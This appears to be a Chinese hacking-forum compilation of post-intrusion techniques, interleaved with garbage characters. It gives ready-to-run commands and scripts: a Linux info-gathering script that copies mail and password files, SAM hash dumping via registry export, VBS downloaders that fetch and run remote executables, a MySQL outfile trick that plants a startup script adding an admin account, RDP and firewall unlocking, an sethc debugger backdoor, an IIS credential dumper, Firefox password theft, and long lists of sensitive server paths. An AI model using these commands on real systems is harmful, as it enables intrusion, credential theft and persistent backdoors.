+ l, x' q: E. c" q7 p- p8 l* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
+ Y7 f* d2 I4 b* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
5 M/ z" c& D/ \' K' Y7 M8 A  s# u
9 a( R, s1 e- ^8 @5 B; S7 t（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
$ x1 \6 D- T; l; q9 j——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
* @+ O# G( S! }3 S————————————————————————————
+ {9 K' p; A  Z: n2 `1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
6 d/ E1 b- Z8 w  U. [3 ~1 K8 g{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
7 X3 {1 M5 H: R9 @8 E
( I" o1 W% {7 P  b& F5 X提权先执行systeminfo
token 漏洞补丁号 KB956572
3 L$ c( l6 m+ J$ ]# C2 kChurrasco          kb952004
命令行RAR打包~~·
. L' T2 z% S. Z3 W( C/ e) Wrar a -k -r -s -m3 c:\1.rar c:\folder
/ g4 Y  S- ]$ d/ p, O5 T, C/ K& p——————————————
$ t" c2 |2 ^3 D5 y) U2、收集系统信息的脚本  
for window：
/ A/ h  U9 \; v3 p; c
@echo off
echo #########system info collection
systeminfo
$ c  ^/ G' g& a* rver
hostname
- J' B5 L# a/ E# |, ~+ J! qnet user
9 l: X) V+ a, \net localgroup
' u1 @: M" F, D( @. k- Y' z% ]- lnet localgroup administrators
net user guest
net user administrator

echo #######at- with   atq#####
1 M  p2 O; {$ U" c( }3 _echo schtask /query
6 S  T/ p4 X1 ^0 E1 @4 A
$ v7 Q( V' T* ^, Qecho
echo ####task-list#############
" ~$ K+ Z- g2 a0 r1 ^% ^) z5 _tasklist /svc
! o; X0 u- g/ V) \echo
) g* x1 H' f) wecho ####net-work infomation
- a* z* `/ w! {7 p- c  l+ eipconfig/all
route print
- _) E/ W: D4 J# }9 T, H3 i0 ^1 R# @arp -a
- [0 ?- u( x6 K& Hnetstat -anipconfig /displaydns
echo
* E2 }  X4 o+ ^" {echo #######service############
1 Y* D( R0 k& A  ^sc query type= service state= all
4 |  d4 K  T$ O1 v- h) H  ^echo #######file-##############
cd \
tree -F
; L9 f& S- S( H+ lfor linux：

0 P9 M4 m9 `# z8 L  P* q. L' V. ^#!/bin/bash
9 a$ m( T4 p  D/ {: d5 U
- [# |5 x- {$ [) secho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
* w) f! r9 M3 ^4 h  }2 eecho #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
" z: D! w; u" i; {5 }" ~& Aecho
# G  d) ]! e  p1 u8 S. |  S6 Vrpm -qa 2>/dev/null
* N( D$ R6 y* ^' W( {######stole the mail......######
0 H8 Q0 @8 j. }9 a, Icp -a /var/mail /tmp/getmail 2>/dev/null


, ~6 y8 s3 a' U3 A: X/ V5 |2 w# {' I8 ]echo 'u'r id is' `id`
) @! d9 P3 Q) O) `# h5 @echo ###atq&crontab#####
. ]# K: {9 Q# R5 S9 V, T, X* eatq
crontab -l
: i2 O/ u# q' p8 X4 B; q& b) techo #####about var#####
set

* t* z% e: j8 y5 B8 S; n2 Yecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
# ^7 K4 a/ ?% b. Zarp -v
echo ########user####
2 i& S+ S% N& \( p7 ycat /etc/passwd|grep -i sh

echo ######service####
" P6 I4 G8 `3 M9 cchkconfig --list

" t& b3 d8 T' {: H6 \2 Mfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
' |2 k8 }- P' R5 {
locate passwd >/tmp/password 2>/dev/null
0 d7 V4 S% F" {6 d  v- t; G: Psleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
* U+ h. }: @9 r8 `$ _2 u  \locate config >>/tmp/sysconfig 2>/dev/null
( q- I$ L0 w5 p7 _* q$ [; S5 B- lsleep 5

###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
" e, @% {+ H! [8 r——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
0 C) b% N  Q, L注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
4 e9 J+ U6 i- `hash 抓完了记得把自己的账户密码改过来哦！
+ y4 T- O3 T1 Z* C& Y0 j( q据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
9 }& S: Z% P) L, d  e- p——————————————
4、vbs 下载者
% i+ y. J; K5 {# e- d0 i/ y1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
/ w# l( I: a) U2 L0 Y, `echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
" J9 A$ v. H/ v: {+ \echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
4 N4 b3 H$ G6 v2 mecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
$ M6 Q8 Z6 L/ E( ^& S2 |echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
* c" A  m: T8 N& b) zcftmon.vbs
6 @! H0 w, l  ~1 ?
2
! Y( x; D9 o1 X, m2 A. u0 YOn Error Resume Nextim iRemote,iLocal,s1,s2
# v9 L  z$ V. n. X* i6 tiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
5 @& l+ L- ]% h  R7 H* y- K, ms1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
  x; H5 u& a. k3 t6 ^5 PsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
/ E6 X0 s4 d) @, j; U
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
0 z* C+ b  p: h
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
0 R) s; L6 t+ a- F8 D, X! u% ]2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
1 c3 h5 |+ [2 q5 lREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
# z2 F4 }+ \! I" CREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
" C- e0 i! y& B0 P$ @: _insert into a values ("set wshshell=createobject (""wscript.shell"")");
6 G, \' S& ~. R) k( _insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
( F' U1 ^$ B! q6 Linsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
/ F; ?7 H% }( f: H% ]8 h6 p————————————————————
: s3 h: h2 f4 k" ~7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8 f3 a3 }4 q+ l1 a: v8、for /d %i in (d:\freehost\*) do @echo %i

' r5 `6 P$ n/ l' B" ^列出d的所有目录
8 L, g. D) w  s& ~  
. Q# `% h+ T( j* o" B3 D! E# ~  for /d %i in (???) do @echo %i
# b1 z% L; Y% M/ S8 d( M2 r5 |/ @7 H
5 |$ K) S$ B  a$ h8 a$ H, ]9 F把当前路径下文件夹的名字只有1-3个字母的打出来
6 i$ E: P9 [- k; w& G7 b5 f
; t7 o1 R7 M0 b  ~) [2.for /r %i in (*.exe) do @echo %i
  
* D; o1 ^8 t+ Q- A) b' G2 K' r2 o以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

6 Z  ^" j  `0 E3 `& M3.for /f %i in (c:\1.txt) do echo %i
  
3 X) z8 [" V$ i/ c# {! g1 d' ~  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
) R/ M" ~! `" |7 V+ d& r# l●注册表:
# ]& `- S( M+ q* R+ j1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

4 f. t3 W4 |. x3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
1 _7 Q/ }, h/ u' J) ^+ v
( _3 }5 t4 m* e1 V  C1 x* G( x% _4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

  j9 V+ J* j' }* x9 n5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
5 P( I' f) W; F! F
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
7 r# L0 ^. T; d' ?; O或者
  `0 J+ `6 p- j9 x+ a" V! b7 @netsh ipsec dynamic set config ipsecexempt value=0
  \  Y& U3 m- |2 M" z/ z
' v/ @9 q" }5 Q5 g% B8 c1 K( m4 U7.停止指派策略"myipsec":
1 V" O% A$ G8 R- }3 }netsh ipsec static set policy name="myipsec" assign=n
3 y; m( I1 ?! K& I7 B$ G" F
3 B/ R- {5 I) l* S  x4 q* t& k8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
! J. j% D8 C8 p7 h+ n$ c8 m5 ^
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

* a9 y$ I8 A: h; _: k10.shift映像劫持
* h, G) G7 e7 U- J# areg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
* t" [' M+ Q) S( g) N
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
; c! }; B, _; @8 m  H  Q( T* q  JSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
! O# u: p8 T, h3 X* }5 |: l  ^childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
/ j. r: @9 a3 t  w1 a8 e/ c0 ~if IsNumeric(childObjectName)=true then
( o# g( @) D: W& \; A& k2 Z" R" Aset IIs=objservice.GetObject("IIsWebServer",childObjectName)
2 J5 c, ^' I! nif err.number<>0 then
: G9 R- ?) X/ [' @; j5 K; m; jexit for
msgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
5 _6 }* o+ i4 |8 `6 _ServerComment=iis.servercomment
% c, `0 a$ x+ h& Z( J) C' K  }set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
& g0 e8 x0 v* _/ \! alist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
9 l, A. G$ A- ]* I6 Oend if
0 D; Z) U: P3 M, H. _/ v5 vNext
wscript.echo list
4 o8 R% Z  j& A- W) XSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
9 F. \2 N; n& k4 n3 j) M复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
2 V' C. o8 S1 i+ T1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
( z/ E% o5 u4 X' n4 }' N将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
) [+ {2 p: e1 J+ k</OBJECT>
# }5 E) `, S  ~0 q. q复制代码
; L* T8 J6 n/ @9 K9 b+ n然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
2 ^' i8 Y, M+ R4 PPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
/ ?$ x" o2 u* z& R4 p" I4 ^1 T  @asp代码，利用的时候会出现登录问题
9 o8 j7 ]6 c# e; p; N1 e 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
$ J: j& e$ c. o$ m 解决方法
url=request.severvariables("path_info")
& L* @+ [% j/ w1 t* H path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
; R, `9 q, t- H: J2 \: H2 V( XLINUX常见路径：
# h6 g/ K9 H2 T& s5 [5 W' U
/etc/passwd
0 F/ m* N( j9 Z, @% Z8 W, `/etc/shadow
7 Z& g8 u( `; T4 C4 X# v/etc/fstab
/etc/host.conf
- o9 W! R/ t' }  h: T# i  B/etc/motd
7 {% j( O8 r1 ?! p' c: R+ \/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
: P$ r1 n- T9 U) `: D5 s6 O/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
6 K. j4 x+ s' n% z/ k9 |" x/var/httpd/htdocs/index.html
$ o, e# U! [2 y- c, @) r5 m; D/var/httpd/conf/php.ini
/var/www/index.html
! L8 l, X) z1 y$ U/var/www/index.php
- q3 ^+ ?% N7 T: h7 t0 x/opt/www/conf/httpd.conf
( Q# f0 F' [* f/opt/www/htdocs/index.php
1 s6 |( Z3 O2 H/ w, {5 {/opt/www/htdocs/index.html
+ b  z% h- b/ m7 L) v+ v/usr/local/apache/htdocs/index.html
3 q- N: U- V/ O/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
, b  m* T7 b2 _/usr/local/apache2/htdocs/index.php
8 _# i+ C+ d& {4 v0 w/usr/local/httpd2.2/htdocs/index.php
3 f- [) i7 K1 L1 |/usr/local/httpd2.2/htdocs/index.html
3 }7 Y3 n& D: v" ]2 G! F/tmp/apache/htdocs/index.html
5 Y* I6 f- J2 h$ d/tmp/apache/htdocs/index.php
: e9 X# }4 @- ^0 i: s% o( S, }( e/etc/httpd/htdocs/index.php
& {2 t4 m8 y* q( k& [# X/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
8 G% H9 e- t% q' r/www/php/php.ini
/www/php4/php.ini
, D' C2 J/ Z6 M/www/php5/php.ini
/www/conf/httpd.conf
1 M( e# y& N9 g- Y( q, L/www/htdocs/index.php
/www/htdocs/index.html
4 E0 O5 J: v9 N( X/usr/local/httpd/conf/httpd.conf
3 i+ Y% v" O7 z* Y: r- \* R/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
) E5 y. T: U* |  b: q  |/etc/apache/apache.conf
4 x5 {8 X) G) g# R/etc/apache2/apache.conf
5 g0 J6 ~9 S! G& S/ x% N/etc/apache/httpd.conf
) s2 n/ j; D; C6 S* o  i/etc/apache2/httpd.conf
4 _8 o5 w3 t& j. s# w! ]  d5 _/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
7 j1 ?6 _1 b/ q6 p: v2 _  C/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
. ?, a! Y; z; i* \/ e/etc/httpd/conf.d/php.conf
! y: |5 X" U5 j1 x4 N/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
6 @) E! S  t7 ~9 l8 n% @, S3 m/etc/httpd/logs/error.log
* L& z% d$ ^/ d6 M5 R& u) f4 k/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
5 Q- n& c! z9 R6 F1 U/home/apache/conf/httpd.conf
4 v2 }3 ]+ I: a$ R7 Z  a6 I" c/home/apache2/conf/httpd.conf
/var/log/apache/error_log
5 H7 o7 Y" f; m% j. }1 m. {8 d/var/log/apache/error.log
7 w. F% g) O, ?" W- l/var/log/apache/access_log
$ a5 q7 N2 v0 N0 h1 o/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
. E4 |; _& D2 {9 o/ s1 D/var/www/logs/access_log
5 P" J5 J1 B; g9 }' A, p' P, E/var/www/logs/access.log
; Y: x& o/ ~) g6 W/usr/local/apache/logs/error_log
8 k. J" P1 w) m/usr/local/apache/logs/error.log
( b: I( t- O! r8 I/ L( U& K/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
8 [  w. @1 B1 l- k6 j! e1 T* O/var/log/error.log
' Z- |( X+ T8 ^7 G' E/var/log/access_log
" D' G' H) Q3 K- m+ n8 U/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
( ^$ X/ y8 Y  S# R( ]/usr/local/apache/logs/error_logerror_log.old
  a1 k2 \5 q  }( U/etc/php.ini
3 i* O1 I- k) ^* J' e2 l/bin/php.ini
7 [( x& g0 }9 `  c/ j/etc/init.d/httpd
/etc/init.d/mysql
. ]- W8 @+ A* S: i1 _  |  \/etc/httpd/php.ini
' j0 ~, S+ e8 ]  K/ R+ N/usr/lib/php.ini
/usr/lib/php/php.ini
% B- P) l9 I5 f/usr/local/etc/php.ini
! {/ {* k' C2 C8 ?7 M/usr/local/lib/php.ini
5 ?* l5 U- k! R6 |! @/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
1 f3 n2 S- M1 d+ G, Y/usr/local/php4/php.ini
" }3 Q# I* R: F# [- k1 H/usr/local/php4/lib/php.ini
0 f, d) L. f+ N/ i/usr/local/php5/lib/php.ini
0 T. ?+ f& q/ J5 m, {/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
9 E$ A3 q( R- j& l+ n# i, b* L/usr/local/apache/conf/php.ini
$ G3 s- b& _9 k/usr/local/apache/conf/httpd.conf
' [9 O3 c1 r9 h2 j/ y# ?, ~/ v/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
$ C; E7 g/ z+ X0 X# i/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
7 W$ a; X( }7 E2 G* P2 Q/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
9 w  k( W) D! M5 U/ Z7 q/etc/php/apache/php.ini
! a- P6 c6 Y' H0 h* g/etc/php/apache2/php.ini
, ?, Q4 l* @7 ?/web/conf/php.ini
5 J  q( u8 N6 p0 K/ \) n/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
9 W8 e2 Y7 H9 s/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
* U* @2 N% F1 \! N; q/PHP/php.ini
# M& W6 f/ G! `4 a: C8 B; K6 R/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
: Y0 r& I" @2 V; d/ v) |/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
- [- U1 {% u# a/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
) u/ c  B, q6 j/usr/local/mysql/my.cnf
  e% ~+ J) r* @/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
4 l. W/ g7 h( ^$ w: L# B6 v/usr/local/cpanel/logs
. y: T4 d. K/ Y0 i/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
$ q2 t5 K& `1 Z4 V& Q/ b' L) k& [/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
; A7 f" G( j/ G1 `/usr/local/cpanel/logs/login_log
! O; K% K5 ^( o! [6 ]* S7 q/usr/local/cpanel/logs/stats_log
8 H8 ~+ Q6 Q1 T% `! O( j/ P/usr/local/share/examples/php4/php.ini
, d* ^- g# y: x/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
- \$ M0 x* L/ O& D" r: v
c:\windows\php.ini
8 |8 Y7 W% |, H. h8 x: Hc:\boot.ini
/ f' J" U$ N( V/ x3 Tc:\1.txt
) b$ e: B5 }- @0 l+ E/ Y4 Tc:\a.txt
$ A4 j0 y( D; E& M. }1 I; T
% I4 o2 ^7 \1 N7 Tc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
" g& k, r* d! jC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
1 W8 k* [- Y5 Z- t" MC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
0 ?4 Y: H2 S8 }5 Y+ U1 s# h) O2 a: Q
( Y" d$ P8 o* o2 Y* xC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
( c8 t6 e; {& e4 `" P% X1 ic:\web\index.html
; b0 v$ }8 W" p3 jc:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
0 Z9 j+ q4 K8 @+ Xc:\wwwsite\index.asp
. S3 M4 e) c8 y$ i3 _& f$ e. bc:\WWWROOT\index.asp
% X, ~5 w& ~3 z1 U4 ec:\web\index.php
7 _  S! t+ `# `2 I/ nc:\www\index.php
6 O$ ~$ Q  w: U0 X6 lc:\WWWROOT\index.php
$ f1 J, @2 X: G7 |& N5 \c:\WWWsite\index.php
c:\web\default.html
+ X& N: w) t* I3 tc:\www\default.html
5 X9 j( g- w( s4 ?, ~% j2 u" h, wc:\WWWROOT\default.html
6 i) _" ?2 c. X+ ?- i# bc:\website\default.html
* ?+ q. X" a: ~" Uc:\web\default.asp
c:\www\default.asp
$ K& \" R# r7 A- j3 ^) Fc:\wwwsite\default.asp
* D4 l" ?% C0 K3 ]c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
0 m) M& d% I" lC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
4 t7 n! [; d0 C8 |c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
( T0 B: V' X. J+ j3 qC:\Program Files\Microsoft Office\OFFICE12\winword.exe
* X$ E$ ]2 I2 s. g. SC:\Program Files\Internet Explorer\IEXPLORE.EXE
3 z; E9 B$ o8 E: c; m8 i& I, SC:\Program Files\winrar\rar.exe
' {# D0 u+ s& I! x5 O% ^) L, bC:\Program Files\360\360Safe\360safe.exe
" z; T3 w( ^/ V  b' G0 vC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
- A  T1 N9 q- n9 C8 Qc:\ravbin\store.ini
c:\rising.ini
& n+ a9 Y# ?/ B0 tC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
6 E/ H: \+ V( [. VC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
! Z2 ]% Z: }( G* m  ]C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
  Z5 p: @; v* f6 L/ a* c$ JC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
6 E& m) l9 G# g+ l. w7 Z+ O9 sC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
, h& Z) V4 d1 m! q" I2 ~& }4 [9 ^E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
7 \2 Q& ~( A7 qC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
. L3 [; F5 y( Q9 X& D6 N2 e* V3 ^C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
4 ~" w+ w2 c8 J4 H9 Z; K/ w% UC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
3 e  Z. b8 ?6 p* KC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
2 g" s1 a4 p# gC:\Program Files\MySQL\MySQL Server 5.0\COPYING
# Q1 u2 p' p8 q4 c+ w' {C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
1 T% X  q& l' R; z; wc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
" c4 a  M; [( x/ G- L$ lC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
( u7 M. u4 D+ `# _2 E  ^. j1 i& D1 MC:\WINDOWS\system32\inetsrv\w3wp.exe
  [3 l4 v- g8 y8 K4 m/ w; N7 YC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
7 P& j* Q! n8 h6 i9 j0 l& [- eC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
* K% n* ^' K$ v1 \$ sC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
: y5 a, ?5 a7 n  J! Z2 u& X' }C:\WINDOWS\system32\config\system
- H) b* c# \" i# \! K9 H- uc:\CMailServer\config.ini
3 [9 n+ q# f$ H- mc:\program files\CMailServer\config.ini
2 l. ^; I  y- J& sc:\tomcat6\tomcat6\bin\version.sh
3 @3 @# F4 W& Nc:\tomcat6\bin\version.sh
8 [) h8 a; p* R8 xc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
